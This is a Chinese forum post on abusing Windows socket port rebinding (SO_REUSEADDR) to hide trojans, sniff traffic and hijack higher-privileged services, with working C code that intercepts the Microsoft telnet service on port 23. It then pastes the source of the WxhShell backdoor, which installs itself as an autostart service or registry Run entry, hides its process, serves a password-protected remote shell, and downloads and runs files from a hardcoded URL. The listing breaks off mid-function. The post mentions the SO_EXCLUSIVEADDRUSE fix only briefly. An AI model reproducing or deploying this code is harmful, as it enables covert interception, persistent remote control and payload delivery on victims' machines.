社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 11824阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 3tIVXtUCUk  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); mZS >O_E  
XH4  
  saddr.sin_family = AF_INET; 0WW2i{7`U  
A5I)^B<(  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); O>b C2;+s  
A Ru2W1g  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); kzQ+j8.,U  
]___M  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 45@ I*`  
w7.V6S$Ga  
  这意味着什么?意味着可以进行如下的攻击: X"|['t  
~?Qe?hB  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 /!yU !`bY  
O~#!l"0 L+  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) K( c\wr\6  
Fx_z6a  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ]3],r?-tJ  
GbY7_N  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  #?U}&Bd  
?4#Li~q  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 F3[T.sf  
 L2[($l  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Y|F9}hj(  
T"}5}6rSG  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 y{B=-\O]  
O-0x8O^B  
  #include 93 )sk/j  
  #include T?CdZc.  
  #include 4<w.8rR:A  
  #include    { =9,n\85#  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ~|D Ut   
  int main() iJI }TVep#  
  { \$~|ZwV{  
  WORD wVersionRequested; Wq D4YGN  
  DWORD ret; "rALt~AX  
  WSADATA wsaData; Z!a =dnwHz  
  BOOL val; $lfn(b,  
  SOCKADDR_IN saddr; Tt`u:ZwhF  
  SOCKADDR_IN scaddr; !3c\NbU  
  int err; ONB{_X?  
  SOCKET s; ,B*EVN  
  SOCKET sc; ) yi E@ X  
  int caddsize; v|_K/|  
  HANDLE mt; Q",t3i4  
  DWORD tid;   s0TORl6Z|  
  wVersionRequested = MAKEWORD( 2, 2 ); ;IvY^(YS@;  
  err = WSAStartup( wVersionRequested, &wsaData ); D# 9m\o_  
  if ( err != 0 ) { 8?B!2  
  printf("error!WSAStartup failed!\n"); )` SrfGp8  
  return -1; ^&9zw\x;z  
  } '6nA F  
  saddr.sin_family = AF_INET; L81ZbNU?$  
   <6%?OJhp  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 P8OaoPj  
hIYNhZv  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); PV.X z0@R  
  saddr.sin_port = htons(23); nK1Slg#U  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _b pP50Cu  
  { 1sy[ @Q2b  
  printf("error!socket failed!\n"); 9R!atPz9  
  return -1; *?@?f&E/  
  } `f,/`''R  
  val = TRUE; (U D nsF  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 $k%2J9O  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) _7 L-<  
  { 5L%'@`mX  
  printf("error!setsockopt failed!\n"); HyZqUb Ha  
  return -1; `(V3:F("@  
  } PiIpnoM  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ,m:.-iy?  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 266h\2t6  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 9}<ile7^  
d.d/<  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) $ @`V  
  { ]Ie 0S~  
  ret=GetLastError(); IY\5@PVZ  
  printf("error!bind failed!\n"); cf20.F{<  
  return -1; f+,qNvBY/  
  } '8H4shYg  
  listen(s,2); Hk.TM2{w  
  while(1) ??vLUv  
  { SsDmoEeB[  
  caddsize = sizeof(scaddr); MaQqs=  
  //接受连接请求 9F;>W ET  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); G@X% +$I  
  if(sc!=INVALID_SOCKET) 9 -a0:bP  
  { E]n&=\  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); rcG"o\g@+  
  if(mt==NULL) CxW>~O:  
  { ZG8DIV\D7  
  printf("Thread Creat Failed!\n"); 08\, <9  
  break; O;jrCB  
  } O-hAFKx  
  } >tV{Pd1  
  CloseHandle(mt); +lcbi  
  } :{l_FY436  
  closesocket(s); Jk n>S#SZ  
  WSACleanup(); 16(QR-  
  return 0; []1C$.5DD  
  }   5e^ChK0Q  
  DWORD WINAPI ClientThread(LPVOID lpParam) !M1"b;  
  {  ItrDJ'  
  SOCKET ss = (SOCKET)lpParam; Z=o2H Bm7  
  SOCKET sc; d^ 8ZeC#  
  unsigned char buf[4096]; P}^W)@+3k  
  SOCKADDR_IN saddr; ZKTz ,  
  long num; xY(*.T9K  
  DWORD val; z46~@y%k  
  DWORD ret; >KhOz[Zg  
  //如果是隐藏端口应用的话,可以在此处加一些判断 bK&+5t&  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Feq]U?  
  saddr.sin_family = AF_INET; ;[OH(!  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); MAPGJ"?  
  saddr.sin_port = htons(23); `b7t4d*  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7;wd(8  
  { yN(%-u"  
  printf("error!socket failed!\n"); )Y{L&A  
  return -1; ;85>xHK  
  } 3;]H1 1  
  val = 100; =dYqS[kJW  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @`- 4G2IU}  
  { z<XtS[ki  
  ret = GetLastError(); >U27];}y  
  return -1; .p" xVfi6  
  } vV-`jsq20H  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Btn]}8K  
  { |t#)~Oo  
  ret = GetLastError(); hT+_(>hT  
  return -1; 56kI 5:  
  } S3 Xl  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) [?N~s:}  
  { oQ[f,7u  
  printf("error!socket connect failed!\n");  S9FE  
  closesocket(sc); Y O}<Ytx  
  closesocket(ss); 7?w*]  
  return -1; T!)(Dv8@F  
  } 7n<::k\lb  
  while(1) 5MJS ~(  
  { &Hs!:43E-<  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ^9:Z7 >Z  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 v O_*yh1  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ]2qo+yB  
  num = recv(ss,buf,4096,0); tJ$_lk ~6q  
  if(num>0) LsU9 .  
  send(sc,buf,num,0); }a(dyr`S  
  else if(num==0) @*KZ}i@._  
  break; b,1ePS  
  num = recv(sc,buf,4096,0); P.9>z7l{  
  if(num>0) Wt~BU.  
  send(ss,buf,num,0); ml }{|Yz  
  else if(num==0) ri-b=|h2j  
  break; YNsJZnGr8#  
  } mrtb*7`$  
  closesocket(ss); kc`Tdn  
  closesocket(sc); 8&b,qQ~  
  return 0 ; 89(Q1R ?:  
  } sdw(R#GE  
m^;f(IK5  
i?^L/b`H  
========================================================== I^$fMdT  
-m~#Bq  
下边附上一个代码,,WXhSHELL k~1?VQ+?M  
amY!qg0P*  
========================================================== a<bwzX|.  
svH !1 b  
#include "stdafx.h" sD#.Oq4&]y  
YS"=yye 3e  
#include <stdio.h> ;>7De8v@@  
#include <string.h> {F.[&/A  
#include <windows.h> 1/J=uH  
#include <winsock2.h> >tW#/\x{  
#include <winsvc.h> ePo}y])2  
#include <urlmon.h> FVJ GL  
YT(AUS5n  
#pragma comment (lib, "Ws2_32.lib") aAUvlb  
#pragma comment (lib, "urlmon.lib") r]36z X v  
)53y AyP  
#define MAX_USER   100 // 最大客户端连接数 $iz|\m  
#define BUF_SOCK   200 // sock buffer 3? +Hd  
#define KEY_BUFF   255 // 输入 buffer /&94 eC  
6)Lk-D  
#define REBOOT     0   // 重启 2jhxQL  
#define SHUTDOWN   1   // 关机 Q]>.b%s[  
VP]%Hni]  
#define DEF_PORT   5000 // 监听端口 C;urBsC  
u;c?d!E  
#define REG_LEN     16   // 注册表键长度 um0N)&iY  
#define SVC_LEN     80   // NT服务名长度 |$b}L7_  
c!9nnTap  
// 从dll定义API "9e\c;a  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); gB'6`'  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }`~+]9 <   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }pu27F)&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); I2 P@L?h  
_5N]B|cO  
// wxhshell配置信息 S^\Vgi(  
struct WSCFG { kW&TJP+5*  
  int ws_port;         // 监听端口 B`J~^+`[*  
  char ws_passstr[REG_LEN]; // 口令 e^D]EA ]%  
  int ws_autoins;       // 安装标记, 1=yes 0=no ,01"SWE  
  char ws_regname[REG_LEN]; // 注册表键名 dlTt _.  
  char ws_svcname[REG_LEN]; // 服务名 "LTad`]<Ro  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Q$Q([Au  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `+Q%oj#FF  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~M4;  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9zy!Fq  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" YcpoL@ab  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 R/z=p_6p7`  
AkQ ~k0i}b  
}; pcWPH.  
H~1 jY4E  
// default Wxhshell configuration wDe& 1(T^  
struct WSCFG wscfg={DEF_PORT, ~FG]wNgS  
    "xuhuanlingzhe", ut7zVp<"  
    1, W|63Ir67  
    "Wxhshell", YteO 6A;  
    "Wxhshell", Z}Ft:7   
            "WxhShell Service", 5C5sgR C  
    "Wrsky Windows CmdShell Service", &FN.:_E  
    "Please Input Your Password: ", F@B]et7  
  1, a HR"n|7{  
  "http://www.wrsky.com/wxhshell.exe", dVT$VQg  
  "Wxhshell.exe" I(BQ34q  
    }; .5ha}=z  
-z%^)VE  
// 消息定义模块 L>4"(  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 'kO!^6=4M  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5uj?#)N  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6zuTQ^pz  
char *msg_ws_ext="\n\rExit."; x)O!["'"  
char *msg_ws_end="\n\rQuit."; JO6)-U$7UG  
char *msg_ws_boot="\n\rReboot..."; ]K,Tnyp  
char *msg_ws_poff="\n\rShutdown..."; 0[?Xxk}s0  
char *msg_ws_down="\n\rSave to "; K/yxE|w<  
>V8-i`  
char *msg_ws_err="\n\rErr!"; jkF^-Up.  
char *msg_ws_ok="\n\rOK!"; Sk\K4  
VY=jc~c]v  
char ExeFile[MAX_PATH]; 5f K_Aq{  
int nUser = 0; z/2//mM  
HANDLE handles[MAX_USER]; EaY?aAuS:  
int OsIsNt; 6) [H?Q  
l L@XM2"  
SERVICE_STATUS       serviceStatus; Sp]0c[37R  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; O:{~urV  
!Pfr,a  
// 函数声明 ['tY4$L(  
int Install(void); nV/G8SeI  
int Uninstall(void); j[J-f@F \Y  
int DownloadFile(char *sURL, SOCKET wsh); j@3Q;F0ba  
int Boot(int flag); bI9~jWgGp  
void HideProc(void); XnMvKPerv'  
int GetOsVer(void); " 9wvPC ^  
int Wxhshell(SOCKET wsl); 3<f}nfB%r?  
void TalkWithClient(void *cs); q01wbO3-"  
int CmdShell(SOCKET sock); 0#Y5_i|p  
int StartFromService(void); Ee%%d  
int StartWxhshell(LPSTR lpCmdLine); 4-y :/8  
RmeD$>7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); :g=qz~2Xk  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <7Or{:Sc90  
17"uf.G  
// 数据结构和表定义 ' ;FnIZ  
SERVICE_TABLE_ENTRY DispatchTable[] = '9Xu p  
{ XZ]uUP  
{wscfg.ws_svcname, NTServiceMain}, +RMSA^  
{NULL, NULL} qUW! G&R  
}; b;W3j   
Ru!iR#s)!  
// 自我安装 S8wLmd>  
int Install(void) :B5Fdp3  
{ ;oKZ!ND  
  char svExeFile[MAX_PATH]; l<LP&  
  HKEY key; *-=(Q`3  
  strcpy(svExeFile,ExeFile); N06OvU2>xU  
0oZ= yh  
// 如果是win9x系统,修改注册表设为自启动 )D5"ap]fX  
if(!OsIsNt) { SpLzm A  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  +yH7v5W  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fo#fg8zX%  
  RegCloseKey(key); bz2ztH9 n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7cT~oV !G_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L:pYn_  
  RegCloseKey(key); Vvn2 Ep  
  return 0; %Ycy{`  
    } oim9<_  
  } rJT^H5!o"  
} r6MMCJ|G  
else { V6&!9b  
2G67NC?+  
// 如果是NT以上系统,安装为系统服务 ~Ei$nV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Jr ,;>   
if (schSCManager!=0) a}BYov  
{ 7$vYo _  
  SC_HANDLE schService = CreateService 'KS,'%  
  ( J!v3i*j\  
  schSCManager, jk; clwyz/  
  wscfg.ws_svcname, 6S'yZQ |b  
  wscfg.ws_svcdisp, I {S;L  
  SERVICE_ALL_ACCESS, HZzDVCU  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , MSQEO4ge  
  SERVICE_AUTO_START, /og=IF2:  
  SERVICE_ERROR_NORMAL, @;zl  
  svExeFile, \Xt7`I<  
  NULL, 5,Jp[bw{H{  
  NULL, UqFO|r"M  
  NULL, 2\A$6N ;_  
  NULL, %Q__!D[  
  NULL N=T<_`$5  
  ); rxgbV.tx  
  if (schService!=0) $<dH?%!7  
  { Z58 X5"  
  CloseServiceHandle(schService); ^e2VE_8L  
  CloseServiceHandle(schSCManager); ~drS} V  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); b@gc{R}7  
  strcat(svExeFile,wscfg.ws_svcname); *KZYv=s,u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =V, mtT  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -j# 2}[J7  
  RegCloseKey(key); j\[dx^\=  
  return 0; Uu10)/.LC  
    } 'Vzp2  
  } o8V5w!+#  
  CloseServiceHandle(schSCManager); MnsJEvn/  
} *)$Uvw E  
} APn|\  
aD<A.Lhy  
return 1; y|C(X  
} /wQy17g  
mDA:nx%5<  
// 自我卸载 @ wGPqg  
int Uninstall(void) e/KDw  
{ Fd%#78UEo}  
  HKEY key; <,3a3  
!P2ro~0/  
if(!OsIsNt) { "(3[+W{|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I13y6= d  
  RegDeleteValue(key,wscfg.ws_regname); =m]v8`g  
  RegCloseKey(key); px A?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x 77*c._3v  
  RegDeleteValue(key,wscfg.ws_regname); m<<+  
  RegCloseKey(key); AVsDt2A  
  return 0; a(m2n.0'>  
  } lF<]8m%F  
} h/QXPdV  
} ^rB8? kt  
else { Z\(q@3C  
f$o_e90mu  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); prUN)r@U   
if (schSCManager!=0) Yj<a" Gr4[  
{ %e8@*~h@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ")1:F>  
  if (schService!=0) Ij7p' a  
  { Oz75V|D  
  if(DeleteService(schService)!=0) { %HhBt5w  
  CloseServiceHandle(schService); 'NbHa!  
  CloseServiceHandle(schSCManager); mtpeRVcF  
  return 0; H-!,yte  
  } vRTkgH#4l  
  CloseServiceHandle(schService); dUD[e,?  
  } s2a{>II6  
  CloseServiceHandle(schSCManager); _f7 9wx\B  
} Ky`qskvu  
} i9:C4',sw0  
4XL^D~V  
return 1; `C,n0'PL.  
}  > ^O7  
+Z,;,5'5G  
// 从指定url下载文件 ^23~ZHu  
int DownloadFile(char *sURL, SOCKET wsh) 3h]g}&k  
{ Mg+2. 8%  
  HRESULT hr; s `e{}\  
char seps[]= "/"; PgAf\.48a  
char *token; 05|=`eJ  
char *file; \a<wKTkn  
char myURL[MAX_PATH]; "BAK !N$9  
char myFILE[MAX_PATH]; IM*y|UHt  
%q"%AauJR  
strcpy(myURL,sURL); ^ G]J,+  
  token=strtok(myURL,seps); &.3"Uo\#  
  while(token!=NULL) REQ\>UO_  
  { )',R[|<  
    file=token; />C^WQI^  
  token=strtok(NULL,seps); }f%}v  
  } `Uq#W+r,  
MyOd,vU  
GetCurrentDirectory(MAX_PATH,myFILE); xl{=Y< ;  
strcat(myFILE, "\\"); hy1oq7F(Q  
strcat(myFILE, file); F k7?xc  
  send(wsh,myFILE,strlen(myFILE),0); _!#@@O0p/h  
send(wsh,"...",3,0); VD AaYDi  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); UhF-K#Z9  
  if(hr==S_OK) ; T\%|O=Ke  
return 0; RIR\']WN  
else A.F%Ycq  
return 1; #&+{mCjs  
2F[ q).  
} O *C;Vqt  
E#34Wh2z  
// 系统电源模块 xh-o}8*n"  
int Boot(int flag) %X]jaX 7  
{ I@\lN&HC  
  HANDLE hToken; =}^9 wP  
  TOKEN_PRIVILEGES tkp; F~ty!(c  
cdH>n)  
  if(OsIsNt) { g @Z))M+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `?H]h"{7Q  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ux-/>enc  
    tkp.PrivilegeCount = 1; d7^}tM  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $GV7o{"&  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Y;eZ9|Ht9  
if(flag==REBOOT) { OG~gFZr)6  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) UBKu /@[f@  
  return 0; wVXS%4|v  
} ";lVa'HMZ  
else { >~rTqtKd  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) C.:<-xo  
  return 0; x^qVw5{n  
} OF>mF~  
  } m,28u3@r  
  else { KM0ru  
if(flag==REBOOT) { t?X877z  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) l9~e". ~'  
  return 0; .<?GS{6 N  
} Mexk~z A^  
else { t,Lrfv])  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) OKZV{Gja  
  return 0; A|[?#S((]  
} dbLZc$vPj  
} 68|E9^`l  
mUC)gA/  
return 1; ^0 )g/`H^>  
} ?,Xw[pR  
b6M[q_   
// win9x进程隐藏模块 Y Uc+0  
void HideProc(void) \sixI;-2  
{ 9=M$AB  
7"D", 1h  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Kn{4;Xk\  
  if ( hKernel != NULL ) hag$GX'2k  
  { P5V}#;v  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 8nqG<!,q  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 7WqH&vU|  
    FreeLibrary(hKernel); 8rGgF]F  
  } -IudgO]  
`hm-.@f,9  
return; bs&43Ae  
} FGJ1dBLr  
3*bU6$|5FP  
// 获取操作系统版本 =BeygT^  
int GetOsVer(void) K3m/(jdO  
{ }tu C}  
  OSVERSIONINFO winfo; 1~FOgk1;  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); e"cXun4nS=  
  GetVersionEx(&winfo); := V[7n])  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) bWS&Yk(  
  return 1; U>SShpmZA  
  else ~P qM]^  
  return 0; G _tCmu\  
} B mb0cF Q  
[DOckf oZx  
// 客户端句柄模块 w.o@7|B1N  
int Wxhshell(SOCKET wsl) DfD&)tsMQ  
{ Ee#q9Cx^J  
  SOCKET wsh; UDFDJm$  
  struct sockaddr_in client; *>}@7}f  
  DWORD myID; LOYk9m  
(mB&m@-N  
  while(nUser<MAX_USER) }>|s=uGW  
{ Y|qTyE%  
  int nSize=sizeof(client); ,qwuLBW  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -i|}m++  
  if(wsh==INVALID_SOCKET) return 1; ~8+ Zs  
{Xy5pfW Q  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); G_JA-@i%  
if(handles[nUser]==0) q i;1L Kc  
  closesocket(wsh); ej d(R+  
else t?gic9 q  
  nUser++; S hWJ72c  
  } 0mVNQxHI  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); V0YZp  
~?}Emn;t  
  return 0; 3?yg\  
} i]4I [!  
5tk AFb4P  
// 关闭 socket .<FH>NW)  
void CloseIt(SOCKET wsh) }.(B}/$u  
{ }X6m:#6  
closesocket(wsh); +\A,&;!SR  
nUser--; e *C(q~PQ  
ExitThread(0); TdM ruSY  
} WH}y"W  
ITBE|b  
// 客户端请求句柄 /6* 42[r  
void TalkWithClient(void *cs) !pW0qX\1n  
{ _{KG 4+5\X  
cT,sh~-x,  
  SOCKET wsh=(SOCKET)cs; Lq^)R  
  char pwd[SVC_LEN]; f}e`XA?  
  char cmd[KEY_BUFF]; n\53wh@+  
char chr[1]; Sm|6 %3  
int i,j; niyV8v  
D>q9 3;p  
  while (nUser < MAX_USER) { h]gp^?=  
pnOAs&QAm  
if(wscfg.ws_passstr) { abjQ)=u  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R 9\*#c  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @9s$4DS  
  //ZeroMemory(pwd,KEY_BUFF); Q2gq}c~  
      i=0; wHy!CP%  
  while(i<SVC_LEN) { ~>|ziHx  
%h@EP[\  
  // 设置超时 5b*C1HS@X  
  fd_set FdRead; L,!?Nt\  
  struct timeval TimeOut; o+'6`g'8  
  FD_ZERO(&FdRead); 1+s;FJ2}  
  FD_SET(wsh,&FdRead); ms]sD3z/W+  
  TimeOut.tv_sec=8; =^?/+p8 k  
  TimeOut.tv_usec=0; WsB?C&>x  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); g 7H(PF?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); hVY$;s  
PW0LG^xp`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `c$V$/IT  
  pwd=chr[0]; 9* M,R,y  
  if(chr[0]==0xd || chr[0]==0xa) { <hyKu  
  pwd=0; ? J0y|  
  break; %N._w!N<5n  
  }  ob]w;"  
  i++; hZb_P\1X  
    } @0''k  
e0 ecD3  
  // 如果是非法用户,关闭 socket :ws<-Qy  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {.Jlbi9!  
} F+qm[Bc8  
$`8wJf9@w  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~xTt204S  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); KI.hy2?e  
n@3>6_^rwT  
while(1) { Hl=xW/%6y  
h";L  
  ZeroMemory(cmd,KEY_BUFF); DlJo^|5  
 bN.Pex  
      // 自动支持客户端 telnet标准   ]?4hyN   
  j=0; !G|@6W`  
  while(j<KEY_BUFF) { 7yQ4*UB  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); BA.uw_^4  
  cmd[j]=chr[0]; WIGi51yC.x  
  if(chr[0]==0xa || chr[0]==0xd) { DmcZta8n]  
  cmd[j]=0; xIn:ZKJ'  
  break; !,PWb3S  
  } eO1lnO|  
  j++; J}t%p(mb  
    } b.938#3,  
iy"*5<;*DD  
  // 下载文件 ,zc(t<|-y  
  if(strstr(cmd,"http://")) { b,@/!ia  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); eS! /(#T  
  if(DownloadFile(cmd,wsh)) dRMx[7jVA  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); rN>R|].  
  else wIgS3K  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KPki}'GO  
  } ?7A>+EY  
  else { AZ<= o  
O.M 1@w]  
    switch(cmd[0]) { ;VK.2^jW!  
  /wv0i3_e  
  // 帮助 'ga/  
  case '?': { 05R@7[GWq  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 2<6UwF  
    break; d zMb5puH  
  } $~kA B8z  
  // 安装 xD7]C|8o  
  case 'i': { p<%d2@lp  
    if(Install()) \7_y%HR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zm#  ?W  
    else ^rz_f{c]-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [>9is=>o.  
    break; x1<|hTPk  
    } Fzcwy V   
  // 卸载 ?A0)L27UE&  
  case 'r': { >Gu M]qn  
    if(Uninstall()) @9:uqsL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u@^LW<eD  
    else xx $cnG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Lj7AZ|k  
    break;  5twhm  
    } H*6W q  
  // 显示 wxhshell 所在路径 z!\*Y =e  
  case 'p': { 62u4-}JzF  
    char svExeFile[MAX_PATH]; }M+7 T\ J!  
    strcpy(svExeFile,"\n\r"); *2?@ |<(r  
      strcat(svExeFile,ExeFile); rGO8!X 3d  
        send(wsh,svExeFile,strlen(svExeFile),0); AR=]=8  
    break; $^ P0F9~0  
    } #`IN`m|  
  // 重启 =Uh$&m  
  case 'b': { g 'gdgfvn  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); PM+[,H  
    if(Boot(REBOOT)) 9iq_rd]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OY d !v`<  
    else { "fI6Cpc  
    closesocket(wsh); YMgNzu  
    ExitThread(0); / +\9S  
